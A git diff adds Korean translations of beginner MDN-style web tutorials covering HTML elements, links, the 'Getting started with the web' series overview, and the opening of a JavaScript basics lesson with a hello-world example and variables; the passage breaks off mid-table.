+ <li><code>&lt;html&gt;&lt;/html&gt;</code> — {{htmlelement("html")}} 요소. 이 요소는 페이지 전체의 컨텐츠를 감싸며, 루트(root) 요소라고도 합니다.</li>
+ <li><code>&lt;head&gt;&lt;/head&gt;</code> — {{htmlelement("head")}} 요소. 이 요소는 HTML 페이지에 포함되어 있는 모든 것들(여러분의 페이지를 조회하는 사람들에게 보여주지 않을 컨텐츠)의 컨테이너 역할을 합니다. 여기에는 {{Glossary("keyword", "keywords")}}와 검색 결과에 표시되길 원하는 페이지 설명, 컨텐츠를 꾸미기 위한 CSS, 문자 집합 선언 등과 같은 것들이 포함됩니다.</li>
+ <li><code>&lt;body&gt;&lt;/body&gt;</code> — {{htmlelement("body")}} 요소. 이것은 페이지에 방문한 모든 웹 사용자들에게 보여주길 원하는 <em>모든</em> 컨텐트를 담고 있으며, 그것이 텍스트일 수도, 이미지, 비디오, 게임, 플레이할 수 있는 오디오 트랙이나 다른 무엇이든 될 수 있습니다.</li>
+ <li><code>&lt;meta charset="utf-8"&gt;</code> — 이 요소는 문서가 사용해야 할 문자 집합을 utf-8으로 설정합니다(utf-8 문자 집합에는 인간의 방대한 주류 기록언어에 있는 대부분의 문자가 포함되어 있습니다). 본질적으로 여러분이 사용할 수 있는 어떠한 문자 컨텐트도 다룰 수 있습니다. 이 문자 집합을 설정하지 않을 이유가 없으며, 그렇게 설정하면 나중에 발생할 수 있는 일부 문제를 피할 수 있습니다.</li>
+ <li><code>&lt;title&gt;&lt;/title&gt;</code> — {{htmlelement("title")}} 요소. 이 요소는 페이지의 제목을 설정하는 것으로 페이지가 로드되는 브라우저의 탭에 이 제목이 표시됩니다. 이 요소는 북마크나 즐겨찾기에서 페이지를 설명하는 것으로도 사용됩니다.</li>
+</ul>
+
+<h2 id="이미지">이미지</h2>
+
+<p>{{htmlelement("img")}} 요소를 다시 살펴보도록 합시다:</p>
+
+<pre class="brush: html">&lt;img src="images/firefox-icon.png" alt="My test image"&gt;</pre>
+
+<p>앞에서 설명한 것처럼 이 요소는 이미지가 나타나야 할 위치에 이미지를 끼워 넣습니다. 이미지 파일의 경로를 포함하는 <code>src</code> (source) 속성을 통해 이러한 일을 합니다.</p>
+
+<p> <code>alt</code> (alternative) 속성도 존재합니다. — 이 속성에는 다음과 같은 이유로 이미지를 볼 수 없는 사용자들을 위한 설명문(descriptive text)을 지정할 수 있습니다.:</p>
+
+<ol>
+ <li>시각 장애자인 경우. 시각 장애가 심한 사용자들은 alt 텍스트(대체 텍스트)를 읽어주는 스크린 리더라는 도구를 자주 사용합니다.</li>
+ <li>무언가 잘못되어서 이미지를 표시할 수 없는 경우. 예를 들면, <code>src</code> 속성 안의 경로를 일부러 틀리게 변경해보세요. 저장한 후에 페이지를 다시 열면, 이미지가 표시되어야할 위치에 다음과 같은 것을 보게 될 것입니다.</li>
+</ol>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/9349/alt-text-example.png" style="display: block; height: 36px; margin: 0px auto; width: 108px;"></p>
+
+<p>alt 텍스트에서 핵심 단어는 "설명적인 문자(descriptive text)" 입니다. 여러분이 작성하는 alt 텍스트는 독자에게 이미지가 전달하는 어떤 것에 대해 좋은 아이디어를 가지기에 충분한 정보를 제공해야 합니다. 이 예제에서 "My test image"라는 현재의 텍스트는 전혀 좋지 않습니다. Firefox 로고에 대해서는 "파이어폭스 로고: 지구를 둘러싼 타오르는 여우"가 훨씬 나은 대안이될 수 있습니다.</p>
+
+<p>지금 여러분의 이미지를 위한 더 나은 alt 텍스트를 만들어보세요.</p>
+
+<div class="note">
+<p><strong>노트</strong>: 접근성에 대한 더 많은 것은 <a href="/en-US/docs/Web/Accessibility">MDN의 페이지 접근성 시작하기</a>에서 찾아보세요.</p>
+</div>
+
+<h2 id="문자_나타내기">문자 나타내기</h2>
+
+<p>여기에서는 문자를 나타내기 위해 사용하는 몇 개의 기본적인 HTML 엘리먼트를 다룰 것입니다.</p>
+
+<h3 id="제목">제목</h3>
+
+<p>제목 요소는 여러분이 내용의 특정 부분이 제목 또는 내용의 하위 제목임을 구체화 할 수 있게 해줍니다. 책에 중심 제목이 있고 그 다음 각각의 장에 제목을 가지고, 그리고 그 안에 부제가 있는 것과 같은 방식으로 HTML 문서도 제목들을 갖습니다. HTML 은 여섯 단계의 제목을 갖고, {{htmlelement("h1")}}–{{htmlelement("h6")}} 여러분은 아마 3-4 만을 주로 사용하게 될겁니다:</p>
+
+<pre class="brush: html">&lt;h1&gt;My main title&lt;/h1&gt;
+&lt;h2&gt;My top level heading&lt;/h2&gt;
+&lt;h3&gt;My subheading&lt;/h3&gt;
+&lt;h4&gt;My sub-subheading&lt;/h4&gt;</pre>
+
+<p>지금 한번 해보세요, 여러분의 HTML 페이지에 있는 {{htmlelement("img")}} 요소 위에 적당한 제목을 추가합시다.</p>
+
+<h3 id="문단">문단</h3>
+
+<p>위에서 설명했듯이, {{htmlelement("p")}} 요소는 문자의 문단을 포함하기 위한 것입니다; 일반적인 문자 내용을 나타낼 때 많이 사용하게 될 것입니다:</p>
+
+<pre class="brush: html">&lt;p&gt;This is a single paragraph&lt;/p&gt;</pre>
+
+<p><strong>간단한 문자 (<a href="/en-US/Learn/Getting_started_with_the_web/What_should_your_web_site_be_like"><em>웹사이트의 외관은 어떻게 할까요?</em></a> 에서 보셨을겁니다)를 하나 또는 몇 개의 문단에 추가하고, &lt;img&gt; 요소 바로 아래 둡시다.</strong></p>
+
+<h3 id="목록">목록</h3>
+
+<p>많은 웹의 내용은 목록이기 때문에, HTML은 이것을 위한 특별한 요소를 가지고 있습니다. 목록을 나타내는 것은 항상 최소 두 개의 요소로 구성됩니다. 가장 일반적인 목록의 종류는 순서가 있는 것과 순서 없는 것이 있습니다.</p>
+
+<ol>
+ <li><strong>순서 없는 목록은</strong> 쇼핑 목록과 같이 항목의 순서에 관계가 없는 목록을 위한 것입니다. {{htmlelement("ul")}} 요소로 둘러 쌓여 있습니다.</li>
+ <li><strong>순서 있는 리스트</strong>는 조리법처럼 항목의 순서가 중요한 목록을 위한 것입니다. {{htmlelement("ol")}} 요소로 둘러 쌓여 있습니다.</li>
+</ol>
+
+<p>목록의 각 항목은 {{htmlelement("li")}} (목록 항목) 요소 안에 놓여야 합니다.</p>
+
+<p>그러니까 예를 들면, 만약 아래 문단의 한 부분을 목록으로 분리하길 원한다면:</p>
+
+<pre class="brush: html">&lt;p&gt;At Mozilla, we’re a global community of technologists, thinkers, and builders working together ... &lt;/p&gt;</pre>
+
+<p>이렇게 해볼 수 있습니다:</p>
+
+<pre class="brush: html">&lt;p&gt;At Mozilla, we’re a global community of&lt;/p&gt;
+
+&lt;ul&gt;
+  &lt;li&gt;technologists&lt;/li&gt;
+  &lt;li&gt;thinkers&lt;/li&gt;
+  &lt;li&gt;builders&lt;/li&gt;
+&lt;/ul&gt;
+
+&lt;p&gt;working together ... &lt;/p&gt;</pre>
+
+<p><strong>여러분의 예시 페이지에서 순서 있는 목록과 순서 없는 목록을 추가해보세요.</strong></p>
+
+<h2 id="연결">연결</h2>
+
+<p>연결은 아주 중요합니다 — 이것은 웹을 웹으로 만들어줍니다. 연결을 하기 위해, 간단한 요소를 사용할 필요가 있습니다 — {{htmlelement("a")}} — <em>a</em> 는 "anchor" 의 약자입니다. 문장 안의 어떤 단어를 링크로 만들기 위해, 아래의 순서를 따르시면 됩니다:</p>
+
+<ol>
+ <li>어떤 단어를 선택하세요. "Mozilla Manifesto" 를 선택하겠습니다.</li>
+ <li>문자를 &lt;a&gt; 요소로 감쌉니다, 이렇게요:
+  <pre class="brush: html">&lt;a&gt;Mozilla Manifesto&lt;/a&gt;</pre>
+ </li>
+ <li>&lt;a&gt; 요소에 href 속성을 줍니다, 이렇게요:
+  <pre class="brush: html">&lt;a href=""&gt;Mozilla Manifesto&lt;/a&gt;</pre>
+ </li>
+ <li>이 속성의 값에 여러분이 연결하길 원하는 웹 주소를 채웁니다.:
+  <pre class="brush: html">&lt;a href="https://www.mozilla.org/en-US/about/manifesto/"&gt;Mozilla Manifesto&lt;/a&gt;</pre>
+ </li>
+</ol>
+
+<p>만약 웹 주소의 시작부분에 <em>프로토콜</em>이라 불리는 https:// 또는 http:// 부분을 빼먹으셨다면 예상하지 못한 결과를 얻을 것입니다. 이렇게 링크를 만든 후에, 원하는 곳으로 이동하는지 클릭해보세요.</p>
+
+<div class="note">
+<p><code>처음에는 href</code> 라는 속성 이름이 꽤 어렵게 보일수도 있습니다. 만약 기억하기가 어려우시다면, 이것은 <em><strong>h</strong>ypertext <strong>ref</strong>erence</em>(<span>하이퍼 텍스트 참조)</span>를 나타낸다는 것을 기억하세요.</p>
+</div>
+
+<p><strong>아직 여러분의 페이지에 링크를 추가하지 않으셨다면, 지금 추가해보세요.</strong></p>
+
+<h2 id="마무리">마무리</h2>
+
+<p>이 글의 모든 설명을 따라오셨다면, 이와 같이 보이는 페이지가 될 겁니다. (<a href="http://mdn.github.io/beginner-html-site/">여기서</a>도  볼 수 있습니다):<br>
+ <br>
+ <img alt="A web page screenshot showing a firefox logo, a heading saying mozilla is cool, and two paragraphs of filler text" src="https://mdn.mozillademos.org/files/9351/finished-test-page-small.png" style="display: block; height: 838px; margin: 0px auto; width: 716px;"></p>
+
+<p>잘 안 된다면, 여러분의 코드를 Github에 있는 <a href="https://github.com/mdn/beginner-html-site/blob/gh-pages/index.html">예제 코드</a>를 비교해 볼 수 있습니다. </p>
+
+<p>여기서, 우리는 HTML의 겉을 살짝 맛봤습니다. 더 알아보기 위해, <a href="/en-US/Learn/HTML">HTML 배우기</a> 페이지로 가보세요.</p>
+
+<p>{{PreviousMenuNext("Learn/Getting_started_with_the_web/Dealing_with_files", "Learn/Getting_started_with_the_web/CSS_basics", "Learn/Getting_started_with_the_web")}}</p>
+
+
+
+<h2 id="이번_모듈에서는">이번 모듈에서는</h2>
+
+<ul>
+ <li id="Installing_basic_software"><a href="https://wiki.developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Installing_basic_software">기본 소프트웨어 설치하기</a></li>
+ <li id="What_will_your_website_look_like"><a href="https://wiki.developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/What_will_your_website_look_like">여러분의 웹사이트는 어떤 모습일까요?</a></li>
+ <li id="Dealing_with_files"><a href="https://wiki.developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Dealing_with_files">파일 다루기</a></li>
+ <li id="HTML_basics"><a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/HTML_basics">HTML 기본 사항</a></li>
+ <li id="CSS_basics"><a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/CSS_basics">CSS 기본 사항</a></li>
+ <li id="JavaScript_basics"><a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/JavaScript_basics">JavaScript 기본 사항</a></li>
+ <li id="Publishing_your_website"><a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Publishing_your_website">웹 사이트 출판</a></li>
+ <li id="How_the_web_works"><a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/How_the_Web_works">웹 작동 방식</a></li>
+</ul>
diff --git a/files/ko/learn/getting_started_with_the_web/index.html b/files/ko/learn/getting_started_with_the_web/index.html
new file mode 100644
index 0000000000..5ccbd0ea75
--- /dev/null
+++ b/files/ko/learn/getting_started_with_the_web/index.html
@@ -0,0 +1,64 @@
+---
+title: Web과 함께 시작하기
+slug: Learn/Getting_started_with_the_web
+tags:
+  - Beginner
+  - CSS
+  - Design
+  - Guide
+  - HTML
+  - Index
+  - 'l10n:priority'
+  - 가이드
+  - 초보자
+translation_of: Learn/Getting_started_with_the_web
+---
+<div>{{LearnSidebar}}</div>
+
+<div class="summary">
+<p><em>Web과 함께 시작하기(Getting stated with the Web)</em>는 여러분에게 웹 개발의 실질적인 측면을 소개하는 간결한 시리즈입니다. 여러분은 간단한 웹페이지를 만들 때 필요한 도구를 설치하고 여러분의 코드를 게시할 것입니다.</p>
+</div>
+
+<h2 id="당신의_첫_번째_웹사이트_줄거리">당신의 첫 번째 웹사이트 줄거리</h2>
+
+<p>전문적인 웹사이트를 생성하기 위해서는 매우 많은 작업이 필요합니다. 그러니 웹 개발이 처음이라면, 처음은 작게 시작해보세요. 지금 당장 Facebook을 만들 수는 없지만, 자신만의 간단한 온라인 웹사이트를 만드는 건 그리 어렵지 않으니 여기부터 시작하겠습니다.</p>
+
+<p>아래 나열한 항목을 순서대로 진행하면 백지부터 시작해서 첫 웹페이지를 인터넷에 띄울겁니다. 시작합시다!</p>
+
+<h3 id="기본_소프트웨어_설치하기Installing_basic_software"><a href="/ko/docs/Learn/Getting_started_with_the_web/Installing_basic_software">기본 소프트웨어 설치하기(Installing basic software)</a></h3>
+
+<p>웹사이트 제작을 위한 도구는 아주 많습니다. 이제 막 시작한다면 수도 없이 많은 코드 편집기와 프레임워크, 테스트 도구 때문에 혼란스러울 겁니다.<a href="/ko/docs/Learn/Getting_started_with_the_web/%EA%B8%B0%EB%B3%B8_%EC%86%8C%ED%94%84%ED%8A%B8%EC%9B%A8%EC%96%B4_%EC%84%A4%EC%B9%98%ED%95%98%EA%B8%B0">기본 소프트웨어 설치하기</a>에서는 기본적인 웹 개발을 시작하기 위해 필요한 소프트웨어를 어떻게 설치할 수 있는지 차근차근 알려드립니다.</p>
+
+<h3 id="웹사이트의_외관은_어떻게_할까요What_will_your_website_look_like"><a href="/ko/docs/Learn/Getting_started_with_the_web/What_will_your_website_look_like">웹사이트의 외관은 어떻게 할까요?(What will your website look like?)</a></h3>
+
+<p>여러분의 웹사이트를 위한 코드 작성을 하기 전에, 먼저 계획을 세워야 합니다. 어떤 정보들을 강조할 건가요? 어떤 글꼴이나 색상을 사용할 것인가요? <a href="/ko/docs/Learn/Getting_started_with_the_web/What_will_your_website_look_like">웹사이트의 외관은 어떻게 할까요?</a>에서 우리는 여러분이 사이트의 내용이나 디자인을 계획하기 위해 따라할 수 있는 간단한 방법을 제공할 것입니다.</p>
+
+<h3 id="파일_다루기Dealing_with_files"><a href="/ko/docs/Learn/Getting_started_with_the_web/Dealing_with_files">파일 다루기(Dealing with files)</a></h3>
+
+<p>웹사이트는 많은 파일(문자, 코드, 스타일시트, 미디어, 등등)로 이루어져 있습니다. 웹사이트를 만들 때, 여러분은 합리적인 구조로 여러 파일을 모으고 서로 상호 작용이 가능한지 확인해야 합니다. <a href="/ko/docs/Learn/Getting_started_with_the_web/%ED%8C%8C%EC%9D%BC%EB%93%A4_%EB%8B%A4%EB%A3%A8%EA%B8%B0">파일 다루기</a>에서 여러분의 웹사이트를 위해 합리적인 파일 구조를 설정하는 방법과 여러분이 알아야 할 문제들을 설명할 것입니다.</p>
+
+<h3 id="HTML_기본"><a href="/ko/docs/Learn/Getting_started_with_the_web/HTML_기본">HTML 기본</a></h3>
+
+<p>HTML(Hypertext Markup Language)은 여러분의 웹 컨텐츠를 구조화하고, 의미와 의도를 주기위해 사용되는 코드입니다. 예를 들면, 내 컨텐츠가 문단의 집합인지, 또는 목차(*)의 리스트인지? 내 페이지에 이미지를 넣어야 하는지?  데이터 테이블이 필요한지? 여러분을 난처하지 않게하면서, <a href="/ko/docs/Learn/Getting_started_with_the_web/HTML_기본">HTML 기본</a>은 여러분이 HTML에 익숙해질 수 있도록 충분한 정보를 제공할 것입니다.</p>
+
+<h3 id="CSS_기본"><a href="/ko/docs/Learn/Getting_started_with_the_web/CSS_basics">CSS 기본</a></h3>
+
+<p>CSS(Cascading Style Sheets)는 여러분의 웹사이트를 꾸밀 때 사용하는 코드입니다. 예를 들면, 글자 색을 검정과 빨강 중 어느걸 하실건가요? 아니면 컨텐츠를 화면 어디에 표시해야 하나요? 웹사이트를 장식하려면 어떤 배경 이미지나 색을 사용하실 건가요? <a href="/ko/docs/Learn/Getting_started_with_the_web/CSS_basics">CSS 기본</a>으로 시작에 필요한 모든걸 준비해보세요.</p>
+
+<h3 id="JavaScript_기본"><a href="/ko/docs/Learn/Getting_started_with_the_web/JavaScript_basics">JavaScript 기본</a></h3>
+
+<p>JavaScript는 여러분이 인터렉티브한 기능을 웹사이트에 추가할 때 사용하는 프로그래밍 언어입니다. 예를 들면 게임, 버튼이 눌리거나 폼에 정보가 입력되었을 때 발생하는 것, 동적인 스타일 효과, 애니매이션 등이 있습니다. <a href="/ko/docs/Learn/Getting_started_with_the_web/JavaScript_basics">JavaScript 기본</a>은 여러분께 이 흥미로운 언어로 가능한 것들에 대한 것과 어떻게 시작할 수 있는지에 대한 아이디어를 제공할 것입니다.</p>
+
+<h3 id="웹사이트_출판하기"><a href="/ko/docs/Learn/Getting_started_with_the_web/Publishing_your_website">웹사이트 출판하기</a></h3>
+
+<p>일단 여러분이 코드 작성과 웹사이트를 위한 파일 구성을 마쳤다면, 사람들이 찾아볼 수 있도록 이 모든 것을 온라인에 둘 필요가 있습니다. <a href="/ko/docs/Learn/Getting_started_with_the_web/Publishing_your_website">예제 코드 출판하기</a>는 여러분이 간단한 예제 코드를 어떻게 최소한의 노력으로 얻을 수 있는지 설명할 것입니다.</p>
+
+<h3 id="웹의_동작_방식"><a href="/ko/docs/Learn/Getting_started_with_the_web/How_the_Web_works">웹의 동작 방식</a></h3>
+
+<p>여러분이 가장 선호하는 웹사이트에 접근할 때, 여러분이 모르는 많은 복잡한 것들이 눈에 띄지 않는 곳에서 발생합니다. <a href="/ko/docs/Learn/Getting_started_with_the_web/How_the_Web_works">웹의 동작 방식</a>은 여러분이 컴퓨터로 웹페이지를 볼 때 발생하는 것들에 대한 개략적인 설명을 할 것입니다.</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<p><a href="https://www.youtube.com/playlist?list=PLo3w8EB99pqLEopnunz-dOOBJ8t-Wgt2g">Web Demystified</a>: 웹 개발을 처음 시작하는 분을 위해 웹 기초를 설명하는 뛰어난 비디오 시리즈입니다. <a href="https://twitter.com/JeremiePat">Jérémie Patonnier</a>가 제작했습니다.</p>
+
+<p><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/Getting_started_with_the_web/The_web_and_web_standards">The web and web standards</a>: 이 글은 웹에 대한 유용한 배경지식을 알려줍니다. -- 웹이 어떻게 생겼는지, 웹의 표준 기술이 무엇인지, 어떻게 같이 작동하는지, 왜 "웹 개발자"가 직업으로 삼기 좋은지, 그리고 관련 과목들을 공부하면서 어떤 것들이 최선의 관행인지 알려줍니다.</p>
diff --git a/files/ko/learn/getting_started_with_the_web/javascript_basics/index.html b/files/ko/learn/getting_started_with_the_web/javascript_basics/index.html
new file mode 100644
index 0000000000..05e48cef49
--- /dev/null
+++ b/files/ko/learn/getting_started_with_the_web/javascript_basics/index.html
@@ -0,0 +1,427 @@
+---
+title: JavaScript 기본
+slug: Learn/Getting_started_with_the_web/JavaScript_basics
+tags:
+  - 자바스크립트
+translation_of: Learn/Getting_started_with_the_web/JavaScript_basics
+---
+<p>{{LearnSidebar}}</p>
+
+<p>{{PreviousMenuNext("Learn/Getting_started_with_the_web/CSS_basics", "Learn/Getting_started_with_the_web/Publishing_your_website", "Learn/Getting_started_with_the_web")}}</p>
+
+<div class="summary">
+<p>자바스크립트는 여러분의 웹사이트에 상호작용성(예를 들면, 게임, 버튼이 눌리거나 폼에 자료가 입력될 때 반응, 동적인 스타일링과 애니메이션)을 더해 주는 프로그래밍 언어 입니다. 이 글은 여러분이 이 흥미로운 언어를 시작하는 것을 도와드리고 가능한 것에 대한 아이디어를 제공할 것입니다.</p>
+</div>
+
+<h2 id="자바스크립트는_무엇인가">자바스크립트는 무엇인가?</h2>
+
+<p>{{Glossary("JavaScript")}} (줄여서 "JS")는 {{Glossary("HTML")}} 문서에 적용될 때, 웹사이트상에서 동적 상호작용성을 제공할 수 있는 완전한 동적 프로그래밍 언어({{Glossary("Dynamic programming language", "dynamic programming language")}})입니다. 이것은 Mozilla 프로젝트, Mozilla 재단, 그리고 Mozilla 법인의 공동 창설자인 Brendan Eich 에 의해 만들어졌습니다.</p>
+
+<p>자바스크립트는 믿을 수 없을 정도로 다재다능합니다. 캐러셀 기능(이미지를 차례대로 바꿔볼 수 있는 기능)을 가진 이미지 갤러리, 변화하는 레이아웃, 그리고 버튼이 클릭될 때의 반응과 같은 간단한 것부터 시작할 것입니다. 경험이 더 쌓이면 게임이나 움직이는 2D 및 3D 그래픽, 포괄적인 데이터베이스 지향적인 앱과 더 많은 것을 만들 수 있을 것입니다!</p>
+
+<p>자바스크립트 그 자체는 상당히 작지만 아주 유연합니다. 개발자들은 코어 자바스크립트 언어(core JavaScript language) 위에서 동작하는 많은 다양한 도구를 개발해왔는데, 이를 이용하면 최소한의 수고로 엄청나게 많은 확장 기능을 사용할 수 있습니다. 여기에는 다음과 같은 것들이 포함됩니다:</p>
+
+<ul>
+ <li>브라우저 응용 프로그래밍 인터페이스 ({{Glossary("API","APIs")}}) — 브라우저에 내장된 API로 HTML을 동적으로 생성하고 CSS 스타일을 설정하거나, 사용자의 웹캠으로부터 비디오 스트림을 수집하거나 조작하는 것, 또는 3D 그래픽이나 오디오 샘플을 생성하는 것과 같은 다양한 기능을 제공합니다.</li>
+ <li>제3자 (third-party) API를 활용해 개발자는 트위터나 페이스북 같은 다른 컨텐츠 공급사부터 제공되는 기능을 자신의 사이트에 통합할 수 있습니다.</li>
+ <li>써드파티 프레임워크와 라이브러리를 여러분의 HTML에 적용함으로써 사이트와 어플리케이션을 빠르게 구축할 수 있습니다.</li>
+</ul>
+
+<p>이 글은 자바스크립트를 가볍게 설명하기 위한 목적으로 작성되어, 지금 단계에서는 여러분을 혼란스럽게 만들지 않기 위해 코어 자바스크립트 언어와 위에 나열된 다른 도구 사이에 어떤 차이가 있는지 상세하게 언급하지 않을 것입니다. 이와 관련해서는 MDN의 나머지 글이나 <a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript">자바스크립트 학습 영역(JavaScript learning area)</a>에서 자세하게 배울 수 있습니다.</p>
+
+<h2 id="Hello_world_예시">"Hello world" 예시</h2>
+
+<p>위의 섹션은 정말 흥분되게 만드는데 — 자바스크립트는 가장 활발한 웹 기술 중 하나이고, 이것을 잘 활용할 수 있게되면 여러분의 웹사이트는 새로운 차원의 힘과 창의성을 가지게될 것입니다.</p>
+
+<p>하지만, 자바스크립트에 익숙해지는 것은 HTML과 CSS에 익숙해지는 것보다는 조금 더 어렵습니다. 여러분은 간단한 것부터 시작해 조금씩 지속적으로 꾸준히 나가야 할 것입니다. 시작하기에 앞서 "Hello world!" 예제(<a href="https://en.wikipedia.org/wiki/%22Hello,_World!%22_program">기본적인 프로그래밍 예제의 표준</a>)를 작성해 봄으로써 어떻게 페이지에 기본적인 자바스크립트를 추가할 수 있는지를 보여드릴 것입니다.</p>
+
+<div class="warning">
+<p><strong>중요</strong>: 여러분이 우리의 나머지 코스를 따라오지 않으셨다면, <a href="https://github.com/mdn/beginner-html-site-styled/archive/gh-pages.zip">이 예제 코드를 다운 </a>받으시고 이것을 시작점으로 사용하세요.</p>
+</div>
+
+<ol>
+ <li>먼저, 여러분의 테스트 사이트로 가서 <code>scripts</code>라는 새로운 폴더를 생성하세요. 다음으로 방금 만든 스크립트 폴더 내에 <code>main.js</code> 라는 새 파일을 생성하세요. 그 파일을 <code>scripts</code> 폴더에 저장하시면 됩니다.</li>
+ <li>다음은, <code>index.html</code> 파일로 가서 닫는 <code>&lt;/body&gt;</code> 태그의 바로 앞에 새로운 줄을 추가하고 다음 요소를 입력하세요:
+  <pre class="brush: html  language-html"><code class="language-html"><span class="script token"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>script</span> <span class="attr-name token">src</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>scripts/main.js<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>script</span><span class="punctuation token">&gt;</span></span></span></code></pre>
+ </li>
+ <li>이것은 기본적으로 CSS 참조를 위해 {{htmlelement("link")}} 요소를 추가할 때와 같은 일을 하는 것입니다 — 페이지에 자바스크립트를 적용하여 HTML에 영향을 줄 수 있습니다(CSS와 함께, 페이지의 다른 것들에도).</li>
+ <li>이제 <code>main.js</code> 파일에 다음 코드를 추가하세요:
+  <pre class="brush: js">let myHeading = document.querySelector('h1');
+myHeading.textContent = 'Hello world!';</pre>
+ </li>
+ <li>끝으로, HTML과 자바스크립트 파일이 저장되었는지 확인하시고, 브라우저에서 <code>index.html</code>를 열어보세요. 여러분은 다음과 같은 것을 보게 될 것입니다:<img alt="" src="https://mdn.mozillademos.org/files/9543/hello-world.png" style="display: block; height: 236px; margin: 0px auto; width: 806px;"></li>
+</ol>
+
+<div class="note">
+<p><strong>참고</strong>: {{htmlelement("script")}} 요소를 HTML 파일의 맨 아래쪽 근처에 둔 이유는 HTML은 파일 내에 나타나는 순서대로 브라우저에 로드(load)되기 때문입니다. 만약 자바스크립트가 먼저 로드되고 자신의 아래 쪽에 있는 HTML에 영향을 준다고 하면, 영향을 줄 HTML 보다 먼저 자바스크립트가 로드되기 때문에 작동하지 않을 것입니다. 따라서, HTML 페이지의 맨 아래쪽 근처에 자바스크립트를 두는 것이 최고의 전략입니다.</p>
+</div>
+
+<h3 id="무슨_일이_발생했나요">무슨 일이 발생했나요?</h3>
+
+<p>자바스크립트를 이용하여 본문 제목 텍스트를 "Hello world!"로 변경하였습니다. 먼저 {{domxref("Document.querySelector", "querySelector()")}}라는 함수를 이용하여 본문 제목에 대한 참조를 <code>myHeading</code>이라는 변수에 저장하였습니다. 이는 CSS 선택자(selectors)를 이용하는 것과 아주 유사합니다. 어떤 요소에 뭔가 하길 원하면, 먼저 그것을 선택해야 합니다.</p>
+
+<p>그 다음, <code>myHeading</code> 변수의 <code>{{domxref("Node.textContent", "textContent")}}</code> 프로퍼티의 값(본문 제목의 컨텐츠를 나타내는 것)을 "Hello world!"로 설정했습니다.</p>
+
+<div class="note">
+<p><strong>참고</strong>: 위에서 사용한 두 기능은 모두 문서를 조작(manipulate)할 때 사용하는 <a href="/en-US/docs/Web/API/Document_Object_Model">문서 객체 모델(Document Object Model;DOM) API</a>의 일부입니다.</p>
+</div>
+
+<h2 id="언어_기본_특강">언어 기본 특강</h2>
+
+<p>이 모든 것이 작동하는 방식에 대해 더 잘 이해할 수 있도록 자바스크립트 언어의 핵심적인 특징을 몇 가지 설명드리겠습니다. 이런 특징은 모든 프로그래밍 언어에서 공통적으로 나타나는 것에 불과하므로 이런 원칙을 숙지한다면 어떤 것이라도 프로그램할 수 있게 될 것입니다!.</p>
+
+<div class="warning">
+<p><strong>중요</strong>: 이 글에서는, 어떤 일이 발생하는지 확인 할 수 있게 자바스크립트 콘솔에 예제 코드를 입력합니다. 자바스크립트 콘솔에 대한 더 자세한 사항은, <a href="/ko/Learn/Discover_browser_developer_tools">브라우저 개발 도구 탐험하기</a>를 보세요.</p>
+</div>
+
+<h3 id="변수">변수</h3>
+
+<p>{{Glossary("Variable", "Variables")}}는 여러분이 값을 저장할 수 있는 컨테이너입니다. 변수를 선언할 때 <code>var</code> 또는 <code>let</code> 키워드 뒤에 원하는 어떤 이름을 붙이면 됩니다:</p>
+
+<pre class="brush: js">let myVariable;</pre>
+
+<div class="note">
+<p><strong>참고</strong>: 한 줄의 끝에 있는 세미콜론은 문(statement)의 끝을 나타냅니다; 한 줄에 있는 여러 문을 분리할 필요가 있을 때에만 반드시 필요합니다. 하지만, 어떤 사람은 각 문의 끝에 세미콜론을 넣는 것이 좋은 습관이라 믿습니다. 언제 세미콜론을 넣고 언제 넣으면 안되는지에 대한 다른 규칙이 있습니다 — 자세한 사항은 <a href="http://news.codecademy.com/your-guide-to-semicolons-in-javascript/">자바스크립트의 세미콜론 안내(Your Guide to Semicolons in JavaScript)</a>를 참고하세요.</p>
+</div>
+
+<div class="note">
+<p><strong>참고</strong>: 거의 모든 이름을 변수 이름으로 사용할 수 있지만, 몇 가지 제한이 있습니다 (<a href="http://www.codelifter.com/main/tips/tip_020.shtml">변수 이름 규칙에 관한 글</a> 을 보세요). 변수 이름에 대해 확신이 없다면, <a href="https://mothereff.in/js-variables">변수명 체크하기(check your variable name)</a>에서 적절한 변수명인지 확인해 볼 수 있습니다.</p>
+</div>
+
+<div class="note">
+<p><strong>참고</strong>: 자바스크립트는 대소문자를 구분합니다 — <code>myVariable</code>은 <code>myvariable</code>과는 다른 변수입니다. 만약 코드에 문제가 생겼다면, 대소문자를 확인해보세요!</p>
+</div>
+
+<div class="note">
+<p><strong>참고</strong>: <code>var</code> 와 <code>let</code> 의 차이에 대한 자세한 사항은 <a href="/en-US/docs/Learn/JavaScript/First_steps/Variables#The_difference_between_var_and_let">The difference between var and let</a>를 참고하세요.</p>
+</div>
+
+<p>변수를 선언한 후에, 값을 할당할 수 있습니다:</p>
+
+<pre class="brush: js">myVariable = 'Bob';</pre>
+
+<p>원한다면, 변수 선언과 값을 주는 작업을 한 줄로 처리할 수 있습니다:</p>
+
+<pre class="brush: js">let myVariable = 'Bob';</pre>
+
+<p>이름으로 변수를 호출하기만 하면 값을 추출할 수 있습니다.</p>
+
+<pre class="brush: js">myVariable;</pre>
+
+<p>변수에 어떤 값을 준 후, 나중에 변경할 수도 있습니다.</p>
+
+<pre>let myVariable = 'Bob';
+myVariable = 'Steve';</pre>
+
+<p>변수는 여러 <a href="/ko/docs/Web/JavaScript/Data_structures">자료형</a>을 가질 수 있다는 점을 기억하세요:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="row">변수</th>
+   <th scope="col">설명</th>
+   <th scope="col">예시</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">{{Glossary("String")}}</th>
